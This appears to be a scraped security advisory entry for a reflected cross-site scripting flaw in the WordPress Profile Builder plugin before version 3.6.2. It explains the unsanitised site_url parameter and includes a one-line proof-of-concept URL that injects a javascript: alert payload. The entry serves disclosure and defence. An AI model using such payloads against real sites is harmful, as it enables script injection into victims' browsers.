Profile Builder < 3.6.2 - Reflected Cross-Site Scripting

2022-02-1700:00:00

wpscan.com

profile builder

cross-site scripting

vulnerability

sanitization

poc

EPSS

0.002

Percentile

58.8%

JSON

The plugin does not properly sanitise and escape the site_url parameter before outputting it back in an href attribute, leading to a Reflected Cross-Site Scripting issue

PoC

https://example.com/wp-content/plugins/profile-builder/assets/misc/fallback-page.php?site_url=javascript:alert(`XSS`);&message;=Page Not%Found&site;_name=404

References

www.wordfence.com/blog/2022/02/reflected-cross-site-scripting-vulnerability-patched-in-wordpress-profile-builder-plugin/

EPSS

0.002

Percentile

58.8%

JSON

Related for WPVDB-ID:656C368A-80BF-44C9-8382-E920B335B921